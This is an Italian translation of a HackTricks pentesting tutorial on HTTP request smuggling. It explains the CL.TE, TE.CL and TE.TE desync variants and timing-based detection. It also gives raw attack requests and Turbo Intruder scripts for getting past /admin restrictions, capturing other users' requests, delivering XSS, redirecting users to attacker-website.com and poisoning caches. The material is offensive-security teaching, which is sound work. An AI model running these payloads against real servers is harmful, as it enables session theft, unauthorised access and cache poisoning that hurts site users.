hacktricks/pentesting-web/http-request-smuggling/README.md

# Smuggling di richieste HTTP / Attacco di desincronizzazione HTTP

<details>

<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Altri modi per supportare HackTricks:

* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>

## Che cos'è

Questa vulnerabilità si verifica quando una **desincronizzazione** tra i **proxy front-end** e il **server back-end** consente a un **attaccante** di **inviare** una richiesta HTTP che verrà **interpretata** come una **singola richiesta** dai **proxy front-end** (bilanciamento del carico/reverse-proxy) e **come 2 richieste** dal **server back-end**.\
Ciò consente a un utente di **modificare la prossima richiesta che arriva al server back-end dopo la sua**.

### Teoria

[**Specifica RFC (2161)**](https://tools.ietf.org/html/rfc2616)

> Se un messaggio viene ricevuto con entrambi un campo di intestazione Transfer-Encoding e un campo di intestazione Content-Length, quest'ultimo DEVE essere ignorato.

**Content-Length**

> L'intestazione dell'entità Content-Length indica le dimensioni del corpo dell'entità, in byte, inviato al destinatario.

**Transfer-Encoding: chunked**

> L'intestazione Transfer-Encoding specifica la forma di codifica utilizzata per trasferire in modo sicuro il corpo del payload all'utente.\
> Chunked significa che i dati di grandi dimensioni vengono inviati in una serie di chunk

### Realtà

Il **Front-End** (un bilanciamento del carico / Reverse Proxy) **elabora** l'intestazione _**content-length**_ o l'intestazione _**transfer-encoding**_ e il **server Back-end** **elabora l'altra** provocando una **desincronizzazione** tra i 2 sistemi.\
Ciò potrebbe essere molto critico poiché **un attaccante sarà in grado di inviare una richiesta** al proxy inverso che verrà **interpretata** dal **server back-end come 2 richieste diverse**. Il **pericolo** di questa tecnica risiede nel fatto che il **server back-end interpreterà la 2a richiesta iniettata** come se fosse **arrivata dal cliente successivo** e la **richiesta reale** di quel cliente farà **parte** della **richiesta iniettata**.

### Particolarità

Ricorda che in HTTP **un carattere di nuova riga è composto da 2 byte:**

* **Content-Length**: Questa intestazione utilizza un **numero decimale** per indicare il **numero** di **byte** del **corpo** della richiesta. Ci si aspetta che il corpo termini nell'ultimo carattere, **non è necessaria una nuova riga alla fine della richiesta**.
* **Transfer-Encoding:** Questa intestazione utilizza nel **corpo** un **numero esadecimale** per indicare il **numero** di **byte** del **prossimo chunk**. Il **chunk** deve **terminare** con una **nuova riga** ma questa nuova riga **non è conteggiata** dall'indicatore di lunghezza. Questo metodo di trasferimento deve terminare con un **chunk di dimensione 0 seguito da 2 nuove righe**: `0`
* **Connection**: Sulla base della mia esperienza, è consigliabile utilizzare **`Connection: keep-alive`** nella prima richiesta del Request Smuggling.

## Esempi di base

{% hint style="success" %}
Quando si cerca di sfruttare ciò con Burp Suite **disabilitare `Aggiorna Content-Length` e `Normalizza fine linea HTTP/1`** nel repeater perché alcuni gadget abusano di nuove righe, ritorni a capo e lunghezze di contenuto malformati.
{% endhint %}

Gli attacchi di smuggling di richieste HTTP sono creati inviando richieste ambigue che sfruttano le discrepanze nell'interpretazione degli header `Content-Length` (CL) e `Transfer-Encoding` (TE) da parte dei server front-end e back-end. Questi attacchi possono manifestarsi in forme diverse, principalmente come **CL.TE**, **TE.CL** e **TE.TE**. Ogni tipo rappresenta una combinazione unica di come i server front-end e back-end danno priorità a questi header. Le vulnerabilità derivano dal fatto che i server elaborano la stessa richiesta in modi diversi, portando a risultati inaspettati e potenzialmente dannosi.

### Esempi di base dei tipi di vulnerabilità

![https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg)

#### Vulnerabilità CL.TE (Content-Length usato dal Front-End, Transfer-Encoding usato dal Back-End)

* **Front-End (CL):** Elabora la richiesta in base all'intestazione `Content-Length`.
* **Back-End (TE):** Elabora la richiesta in base all'intestazione `Transfer-Encoding`.
* **Scenario di attacco:**
* L'attaccante invia una richiesta in cui il valore dell'intestazione `Content-Length` non corrisponde alla lunghezza effettiva del contenuto.
* Il server front-end inoltra l'intera richiesta al server back-end, in base al valore di `Content-Length`.
* Il server back-end elabora la richiesta come chunked a causa dell'intestazione `Transfer-Encoding: chunked`, interpretando i dati rimanenti come una richiesta separata e successiva.
*   **Esempio:**

```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x
```

#### Vulnerabilità TE.CL (Transfer-Encoding usato dal Front-End, Content-Length usato dal Back-End)

* **Front-End (TE):** Elabora la richiesta in base all'intestazione `Transfer-Encoding`.
* **Back-End (CL):** Elabora la richiesta in base all'intestazione `Content-Length`.
* **Scenario di attacco:**
* L'attaccante invia una richiesta chunked in cui la dimensione del chunk (`7b`) e la lunghezza effettiva del contenuto (`Content-Length: 4`) non si allineano.
* Il server front-end, rispettando `Transfer-Encoding`, inoltra l'intera richiesta al server back-end.
* Il server back-end, rispettando `Content-Length`, elabora solo la parte iniziale della richiesta (`7b` byte), lasciando il resto come parte di una successiva richiesta non intenzionale.
*   **Esempio:**

```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

```
#### Vulnerabilità TE.TE (Transfer-Encoding utilizzato da entrambi, con oscuramento)

- **Server:** Entrambi supportano `Transfer-Encoding`, ma uno può essere ingannato nell'ignorarlo tramite oscuramento.
- **Scenario di attacco:**
  - L'attaccante invia una richiesta con intestazioni `Transfer-Encoding` oscurate.
  - A seconda di quale server (front-end o back-end) non riconosce l'oscuramento, potrebbe essere sfruttata una vulnerabilità CL.TE o TE.CL.
  - La parte non elaborata della richiesta, come vista da uno dei server, diventa parte di una richiesta successiva, portando al traffico illecito.
- **Esempio:**

```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked
```

#### **Scenario CL.CL (Content-Length utilizzato sia dal Front-End che dal Back-End):**

- Entrambi i server elaborano la richiesta basandosi esclusivamente sull'intestazione `Content-Length`.
- Questo scenario di solito non porta al traffico illecito, poiché c'è un'allineamento su come entrambi i server interpretano la lunghezza della richiesta.
- **Esempio:**

```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Richiesta normale
```

#### **Scenario CL != 0:**

- Si riferisce a scenari in cui l'intestazione `Content-Length` è presente e ha un valore diverso da zero, indicando che il corpo della richiesta ha contenuto.
- È cruciale per comprendere e creare attacchi di traffico illecito, poiché influisce su come i server determinano la fine di una richiesta.
- **Esempio:**

```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Corpo non vuoto
```

#### Forzatura tramite intestazioni hop-by-hop

Abusando delle intestazioni hop-by-hop, potresti indicare al proxy di **eliminare l'intestazione Content-Length o Transfer-Encoding in modo che sia possibile abusare di una richiesta HTTP smuggling**.
```
Connection: Content-Length
```
Per **ulteriori informazioni sui header hop-by-hop** visita:

{% content-ref url="../abusing-hop-by-hop-headers.md" %}
[abusing-hop-by-hop-headers.md](../abusing-hop-by-hop-headers.md)
{% endcontent-ref %}

## Scoperta di HTTP Request Smuggling

Identificare le vulnerabilità di HTTP request smuggling può spesso essere raggiunto utilizzando tecniche di temporizzazione, che si basano sull'osservare quanto tempo impiega il server a rispondere alle richieste manipolate. Queste tecniche sono particolarmente utili per rilevare le vulnerabilità CL.TE e TE.CL. Oltre a questi metodi, ci sono altre strategie e strumenti che possono essere utilizzati per trovare tali vulnerabilità:

### Trovare Vulnerabilità CL.TE Utilizzando Tecniche di Temporizzazione

* **Metodo:**
* Inviare una richiesta che, se l'applicazione è vulnerabile, farà sì che il server back-end aspetti dati aggiuntivi.
*   **Esempio:**

```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
```
* **Osservazione:**
* Il server front-end elabora la richiesta in base a `Content-Length` e interrompe prematuramente il messaggio.
* Il server back-end, aspettandosi un messaggio chunked, attende il prossimo chunk che non arriva mai, causando un ritardo.
* **Indicatori:**
* Timeout o lunghi ritardi nella risposta.
* Ricezione di un errore 400 Bad Request dal server back-end, a volte con informazioni dettagliate sul server.

### Trovare Vulnerabilità TE.CL Utilizzando Tecniche di Temporizzazione

* **Metodo:**
* Inviare una richiesta che, se l'applicazione è vulnerabile, farà sì che il server back-end aspetti dati aggiuntivi.
*   **Esempio:**

```
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
```
* **Osservazione:**
* Il server front-end elabora la richiesta in base a `Transfer-Encoding` e inoltra l'intero messaggio.
* Il server back-end, aspettandosi un messaggio in base a `Content-Length`, attende dati aggiuntivi che non arrivano mai, causando un ritardo.

### Altri Metodi per Trovare Vulnerabilità

* **Analisi Differenziale delle Risposte:**
* Inviare versioni leggermente diverse di una richiesta e osservare se le risposte del server differiscono in modo inaspettato, indicando una discrepanza di analisi.
* **Utilizzo di Strumenti Automatici:**
* Strumenti come l'estensione 'HTTP Request Smuggler' di Burp Suite possono testare automaticamente queste vulnerabilità inviando varie forme di richieste ambigue e analizzando le risposte.
* **Test di Varianza della Content-Length:**
* Inviare richieste con valori di `Content-Length` variabili che non sono allineati con la lunghezza effettiva del contenuto e osservare come il server gestisce tali discrepanze.
* **Test di Varianza del Transfer-Encoding:**
* Inviare richieste con intestazioni `Transfer-Encoding` oscurate o malformate e monitorare come i server front-end e back-end rispondono in modo diverso a tali manipolazioni.

### Test di Vulnerabilità di HTTP Request Smuggling

Dopo aver confermato l'efficacia delle tecniche di temporizzazione, è cruciale verificare se le richieste dei client possono essere manipolate. Un metodo diretto è tentare di avvelenare le tue richieste, ad esempio, facendo sì che una richiesta a `/` produca una risposta 404. Gli esempi di `CL.TE` e `TE.CL` precedentemente discussi in [Esempi di Base](./#basic-examples) dimostrano come avvelenare una richiesta del client per ottenere una risposta 404, nonostante il client stia cercando di accedere a una risorsa diversa.

**Considerazioni Chiave**

Quando si testano le vulnerabilità di request smuggling interferendo con altre richieste, tenere presente:

* **Connessioni di Rete Distinte:** Le richieste "attacco" e "normale" dovrebbero essere inviate tramite connessioni di rete separate. Utilizzare la stessa connessione per entrambe non conferma la presenza della vulnerabilità.
* **URL e Parametri Coerenti:** Cerca di utilizzare URL e nomi di parametri identici per entrambe le richieste. Le applicazioni moderne spesso instradano le richieste a server back-end specifici in base all'URL e ai parametri. Il corrispondere questi aumenta la probabilità che entrambe le richieste siano elaborate dallo stesso server, un prerequisito per un attacco riuscito.
* **Temporizzazione e Condizioni di Gara:** La richiesta "normale", destinata a rilevare interferenze dalla richiesta "attacco", compete con altre richieste dell'applicazione concorrenti. Pertanto, invia la richiesta "normale" immediatamente dopo la richiesta "attacco". Applicazioni impegnate possono richiedere più prove per una conferma conclusiva della vulnerabilità.
* **Sfide del Bilanciamento del Carico:** I server front-end che agiscono come bilanciatori di carico possono distribuire le richieste su vari sistemi back-end. Se le richieste "attacco" e "normale" finiscono su sistemi diversi, l'attacco non avrà successo. Questo aspetto del bilanciamento del carico potrebbe richiedere diversi tentativi per confermare una vulnerabilità.
* **Impatto non Intenzionale sugli Utenti:** Se il tuo attacco influisce involontariamente su un'altra richiesta dell'utente (non la richiesta "normale" inviata per la rilevazione), ciò indica che il tuo attacco ha influenzato un altro utente dell'applicazione. Test continui potrebbero interrompere altri utenti, richiedendo un approccio cauto.

## Abuso di HTTP Request Smuggling

### Per aggirare i controlli di sicurezza front-end

### Circumvenzione della Sicurezza Front-End tramite HTTP Request Smuggling

A volte, i proxy front-end applicano misure di sicurezza, scrutando le richieste in arrivo. Tuttavia, queste misure possono essere aggirate sfruttando HTTP Request Smuggling, consentendo l'accesso non autorizzato a endpoint restritti. Ad esempio, l'accesso a `/admin` potrebbe essere proibito esternamente, con il proxy front-end che blocca attivamente tali tentativi. Tuttavia, questo proxy potrebbe trascurare di ispezionare le richieste incorporate all'interno di una richiesta HTTP smuggled, lasciando una falla per aggirare queste restrizioni.

Considera i seguenti esempi che illustrano come HTTP Request Smuggling può essere utilizzato per aggirare i controlli di sicurezza front-end, mirando specificamente al percorso `/admin` che di solito è protetto dal proxy front-end:

**Esempio CL.TE**
```
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=
```
Nell'attacco CL.TE, l'intestazione `Content-Length` viene sfruttata per la richiesta iniziale, mentre la richiesta incorporata successiva utilizza l'intestazione `Transfer-Encoding: chunked`. Il proxy front-end elabora la richiesta `POST` iniziale ma non ispeziona la richiesta `GET /admin` incorporata, consentendo l'accesso non autorizzato al percorso `/admin`.

**Esempio TE.CL**
```
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

```
Al contrario, nell'attacco TE.CL, la richiesta `POST` iniziale utilizza `Transfer-Encoding: chunked`, e la successiva richiesta incorporata viene elaborata in base all'intestazione `Content-Length`. Simile all'attacco CL.TE, il proxy front-end trascura la richiesta `GET /admin` nascosta, concedendo involontariamente l'accesso al percorso `/admin` restritto.

### Rivelazione della riscrittura della richiesta front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>

Le applicazioni spesso impiegano un **server front-end** per modificare le richieste in ingresso prima di passarle al server back-end. Una modifica tipica coinvolge l'aggiunta di intestazioni, come `X-Forwarded-For: <IP del client>`, per trasmettere l'IP del client al back-end. Comprendere queste modifiche può essere cruciale, poiché potrebbe rivelare modi per **eludere le protezioni** o **scoprire informazioni o endpoint nascosti**.

Per indagare su come un proxy modifica una richiesta, individuare un parametro POST che il back-end ripete nella risposta. Quindi, creare una richiesta, utilizzando questo parametro per ultimo, simile al seguente:
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=
```
In questa struttura, i componenti della richiesta successiva vengono aggiunti dopo `search=`, che è il parametro riflessi nella risposta. Questa riflessione esporrà gli header della richiesta successiva.

È importante allineare l'header `Content-Length` della richiesta nidificata con la lunghezza effettiva del contenuto. È consigliabile iniziare con un valore basso e incrementare gradualmente, poiché un valore troppo basso troncherà i dati riflessi, mentre un valore troppo alto può causare un errore nella richiesta.

Questa tecnica è anche applicabile nel contesto di una vulnerabilità TE.CL, ma la richiesta dovrebbe terminare con `search=\r\n0`. Indipendentemente dai caratteri di nuova riga, i valori verranno aggiunti al parametro di ricerca.

Questo metodo serve principalmente per comprendere le modifiche alla richiesta apportate dal proxy front-end, svolgendo essenzialmente un'indagine autodiretta.

### Catturare le richieste di altri utenti <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>

È fattibile catturare le richieste dell'utente successivo aggiungendo una richiesta specifica come valore di un parametro durante un'operazione POST. Ecco come può essere realizzato:

Aggiungendo la seguente richiesta come valore di un parametro, è possibile memorizzare la richiesta del cliente successivo:
```
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
```
In questo scenario, il **parametro commento** è destinato a memorizzare i contenuti all'interno della sezione commenti di un post su una pagina accessibile pubblicamente. Di conseguenza, i contenuti della richiesta successiva appariranno come un commento.

Tuttavia, questa tecnica ha limitazioni. Generalmente, cattura dati solo fino al delimitatore del parametro utilizzato nella richiesta nascosta. Per le sottomissioni di moduli codificati in URL, questo delimitatore è il carattere `&`. Ciò significa che il contenuto catturato dalla richiesta dell'utente vittima si fermerà al primo `&`, che potrebbe anche far parte della stringa di query.

Inoltre, è importante notare che questo approccio è anche fattibile con una vulnerabilità TE.CL. In tali casi, la richiesta dovrebbe concludersi con `search=\r\n0`. Indipendentemente dai caratteri di nuova riga, i valori verranno aggiunti al parametro di ricerca.

### Utilizzare l'HTTP request smuggling per sfruttare il XSS riflesso

L'HTTP Request Smuggling può essere sfruttato per sfruttare le pagine web vulnerabili al **XSS riflesso**, offrendo significativi vantaggi:

* L'interazione con gli utenti target **non è richiesta**.
* Consente lo sfruttamento del XSS in parti della richiesta normalmente **inaccessibili**, come gli header della richiesta HTTP.

Nei casi in cui un sito web è suscettibile al XSS riflesso tramite l'header User-Agent, il seguente payload dimostra come sfruttare questa vulnerabilità:
```
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=
```
Questo payload è strutturato per sfruttare la vulnerabilità tramite:

1. Avviare una richiesta `POST`, apparentemente tipica, con un'intestazione `Transfer-Encoding: chunked` per indicare l'inizio del smuggling.
2. Seguire con un `0`, segnando la fine del corpo del messaggio chunked.
3. Successivamente, viene introdotta una richiesta `GET` smuggled, in cui l'intestazione `User-Agent` è iniettata con uno script, `<script>alert(1)</script>`, attivando il XSS quando il server elabora questa richiesta successiva.

Manipolando l'intestazione `User-Agent` tramite smuggling, il payload elude i vincoli normali della richiesta, sfruttando così la vulnerabilità del Reflected XSS in modo non standard ma efficace.

### Utilizzo del request smuggling HTTP per trasformare un reindirizzamento interno in un reindirizzamento aperto <a href="#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect" id="using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect"></a>

### Sfruttare i reindirizzamenti interni con il request smuggling HTTP <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>

Le applicazioni spesso reindirizzano da un URL a un altro utilizzando il nome host dall'intestazione `Host` nell'URL di reindirizzamento. Questo è comune con server web come Apache e IIS. Ad esempio, richiedere una cartella senza una barra finale porta a un reindirizzamento per includere la barra:
```
GET /home HTTP/1.1
Host: normal-website.com
```
Risultati in:
```
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
```
Sebbene apparentemente innocuo, questo comportamento può essere manipolato utilizzando lo smuggling delle richieste HTTP per reindirizzare gli utenti verso un sito esterno. Ad esempio:
```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
```
Questo richiesta contrabbandata potrebbe causare il reindirizzamento della richiesta dell'utente successivo verso un sito web controllato dall'attaccante:
```
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
```
Risultati in:
```
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
```
### Utilizzo del traffico HTTP per eseguire l'avvelenamento della cache web <a href="#using-http-request-smuggling-to-perform-web-cache-poisoning" id="using-http-request-smuggling-to-perform-web-cache-poisoning"></a>

### Sfruttare l'avvelenamento della cache web tramite traffico HTTP <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>

L'avvelenamento della cache web può essere eseguito se un qualsiasi componente dell'**infrastruttura front-end memorizza nella cache i contenuti**, tipicamente per migliorare le prestazioni. Manipolando la risposta del server, è possibile **avvelenare la cache**.

Precedentemente, abbiamo osservato come le risposte del server potessero essere modificate per restituire un errore 404 (fare riferimento agli [Esempi di Base](./#basic-examples)). Allo stesso modo, è fattibile ingannare il server affinché restituisca il contenuto di `/index.html` in risposta a una richiesta per `/static/include.js`. Di conseguenza, il contenuto di `/static/include.js` viene sostituito nella cache con quello di `/index.html`, rendendo `/static/include.js` non accessibile agli utenti, potenzialmente portando a un Denial of Service (DoS).

Questa tecnica diventa particolarmente potente se viene scoperta una **vulnerabilità di Redirect Aperto** o se c'è un **redirect sul sito verso un redirect aperto**. Tali vulnerabilità possono essere sfruttate per sostituire il contenuto memorizzato nella cache di `/static/include.js` con uno script sotto il controllo dell'attaccante, consentendo essenzialmente un diffuso attacco di Cross-Site Scripting (XSS) contro tutti i client che richiedono il nuovo `/static/include.js`.

Di seguito è riportata un'illustrazione dello sfruttamento dell'**avvelenamento della cache combinato con un redirect sul sito verso un redirect aperto**. L'obiettivo è modificare il contenuto della cache di `/static/include.js` per servire codice JavaScript controllato dall'attaccante:
```
POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1
```
Nota la richiesta incorporata che mira a `/post/next?postId=3`. Questa richiesta verrà reindirizzata a `/post?postId=4`, utilizzando il **valore dell'intestazione Host** per determinare il dominio. Modificando l'intestazione **Host**, l'attaccante può reindirizzare la richiesta al proprio dominio (**reindirizzamento sul sito a reindirizzamento aperto**).

Dopo il successivo **avvelenamento del socket**, dovrebbe essere avviata una richiesta **GET** per `/static/include.js`. Questa richiesta sarà contaminata dalla precedente richiesta di **reindirizzamento sul sito a reindirizzamento aperto** e recupererà il contenuto dello script controllato dall'attaccante.

Successivamente, qualsiasi richiesta per `/static/include.js` servirà il contenuto memorizzato dello script dell'attaccante, lanciando efficacemente un ampio attacco XSS.

### Utilizzo del traffico HTTP per eseguire l'inganno della cache web <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>

> **Qual è la differenza tra l'avvelenamento della cache web e l'inganno della cache web?**
>
> * Nell'**avvelenamento della cache web**, l'attaccante fa sì che l'applicazione memorizzi alcuni contenuti dannosi nella cache, e questi contenuti vengono serviti dalla cache ad altri utenti dell'applicazione.
> * Nell'**inganno della cache web**, l'attaccante fa sì che l'applicazione memorizzi alcuni contenuti sensibili appartenenti a un altro utente nella cache, e l'attaccante recupera poi questi contenuti dalla cache.

L'attaccante crea una richiesta nascosta che recupera contenuti sensibili specifici dell'utente. Considera il seguente esempio:
```markdown
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`
```
Se questa richiesta contrabbandata avvelena una voce nella cache destinata a contenuti statici (ad esempio, `/someimage.png`), i dati sensibili della vittima da `/private/messages` potrebbero essere memorizzati nella voce della cache del contenuto statico. Di conseguenza, l'attaccante potrebbe potenzialmente recuperare questi dati sensibili memorizzati nella cache.

### Armatizzazione della Contrabbando di Richieste HTTP con la Desincronizzazione delle Risposte HTTP

Hai trovato una vulnerabilità di Contrabbando di Richieste HTTP e non sai come sfruttarla. Prova quest'altro metodo di sfruttamento:

{% content-ref url="../http-response-smuggling-desync.md" %}
[http-response-smuggling-desync.md](../http-response-smuggling-desync.md)
{% endcontent-ref %}

## Script Turbo Intruder

### CL.TE

Da [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
```python
def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)
```
### TE.CL

Da: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)
```
## Strumenti

* [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
* [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
* [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
* [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
* [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Questo strumento è un Fuzzer HTTP basato su grammatica utile per trovare discrepanze strane di smuggling di richieste.

## Riferimenti

* [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling)
* [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding)
* [https://portswigger.net/web-security/request-smuggling/exploiting](https://portswigger.net/web-security/request-smuggling/exploiting)
* [https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4](https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4)
* [https://github.com/haroonawanofficial/HTTP-Desync-Attack/](https://github.com/haroonawanofficial/HTTP-Desync-Attack/)
* [https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html](https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html)
* [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)

<details>

<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Altri modi per supportare HackTricks:

* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>